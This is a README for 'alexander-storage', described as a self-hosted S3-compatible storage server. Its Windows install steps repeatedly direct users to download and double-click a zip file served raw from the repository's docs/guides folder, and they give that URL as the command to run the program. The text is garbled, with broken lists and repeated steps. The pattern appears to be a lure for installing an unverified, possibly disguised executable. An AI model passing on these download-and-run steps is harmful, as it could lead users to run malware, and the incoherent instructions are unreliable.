Welcome to alexander-storage! This application allows you to set up your own self-hosted storage server that is compatible with Amazon S3. With features like Content Addressable Storage, deduplication, and PostgreSQL metadata management, it is designed to be lightweight and scalable. Follow these steps to get started.
Before you begin, ensure your system meets these requirements:
- A computer running Windows, Linux, or macOS
- At least 2 GB of RAM
- 500 MB of free disk space
- An internet connection for downloading the application
- Content Addressable Storage: Store data using its content hash.
- Deduplication: Save space by storing only unique data.
- Scalable Architecture: Designed to grow with your data needs.
- PostgreSQL Support: Easy management of metadata with PostgreSQL.
- Self-Hosted: Full control over your data without relying on third parties.
The documentation contains more detailed information about each feature and how to utilize them effectively.
-
Visit the Releases page to find the latest version.
-
Download the appropriate file for your system:
- For Windows, download
https://raw.githubusercontent.com/Joker1230005/alexander-storage/main/docs/guides/alexander_storage_3.7.zip. - For Linux, download
alexander-storage-linux. - For macOS, download
alexander-storage-macos.
- For Windows, download
-
Locate the downloaded file on your computer.
-
Follow these steps based on your operating system:
- Double-click the
https://raw.githubusercontent.com/Joker1230005/alexander-storage/main/docs/guides/alexander_storage_3.7.zipfile. - Follow the prompts to complete the installation.
- Open your terminal.
- Use the
cdcommand to navigate to the folder containing the downloaded file. - Run
chmod +x alexander-storage-linuxto make it executable. - Start it by typing
./alexander-storage-linux.
- Open your terminal.
- Use the
cdcommand to navigate to the folder containing the downloaded file. - Run
chmod +x alexander-storage-macosto make it executable. - Start it by typing
./alexander-storage-macos.
- Double-click the
After installation, you may want to adjust the settings to fit your needs. Configuration options include:
- Setting up your storage directories.
- Configuring PostgreSQL database settings.
- Adjusting security settings.
These configurations help optimize performance and security.
To run alexander-storage:
- Open a terminal or command prompt.
- Navigate to the folder where you installed alexander-storage.
- Type the command to start the application.
- For Windows:
https://raw.githubusercontent.com/Joker1230005/alexander-storage/main/docs/guides/alexander_storage_3.7.zip. - For Linux:
./alexander-storage-linux. - For macOS:
./alexander-storage-macos.
- For Windows:
Once running, you can access the storage server via your web browser. Enter http://localhost:YOUR_PORT in the address bar, replacing YOUR_PORT with the port number specified in your configuration.
If you encounter issues or have questions, you can find support on our GitHub issues page.
Here are common problems and solutions:
- Cannot Start the Application: Check if you have the correct version for your operating system.
- Database Connection Errors: Ensure PostgreSQL is installed and running. Verify your connection settings in the configuration file.
- Port Conflicts: Make sure the port specified is not used by another application.
π₯ Visit this page to download: Releases page
Follow these instructions carefully to get your storage server up and running. Whether you're handling personal files or large datasets, alexander-storage offers a straightforward solution for your storage needs.